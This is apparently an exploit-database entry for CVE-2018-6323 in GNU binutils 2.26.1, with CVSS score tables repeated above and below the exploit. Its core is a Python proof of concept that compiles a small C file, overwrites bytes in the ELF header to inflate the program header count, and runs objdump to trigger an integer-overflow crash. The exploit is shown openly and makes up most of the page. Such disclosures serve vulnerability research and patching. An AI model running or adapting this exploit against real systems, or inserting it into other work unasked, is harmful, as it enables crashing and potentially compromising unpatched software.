7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
GNU binutils 2.26.1 - Integer Overflow (PoC)
# Exploit Title: Objdump - Integer Overflow Crash POC
# Date: 12.02.2018
# Exploit Author: r4xis
# Tested Version: 2.26.1
# Vuln Version: <2.29.1
# CVE: cve-2018-6323
# Tested on: Ubuntu 16.04 32-bit
# Vulnerability Details:
# https://www.cvedetails.com/cve/CVE-2018-6323/
# https://sourceware.org/bugzilla/show_bug.cgi?id=22746
import os
hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
f = open("helloWorld.c", 'w')
f.write(hello)
f.close()
os.system("gcc -c helloWorld.c -o test")
# file test
# test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
f = open("test", 'rb+')
f.read(0x2c)
f.write("\xff\xff") # 65535
f.read(0x244-0x2c-2)
f.write("\x00\x00\x00\x20") # 536870912
f.close()
# readelf -h test
# Number of program headers: 65535 (536870912)
os.system("objdump -x test; rm -r helloWorld.c test")
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P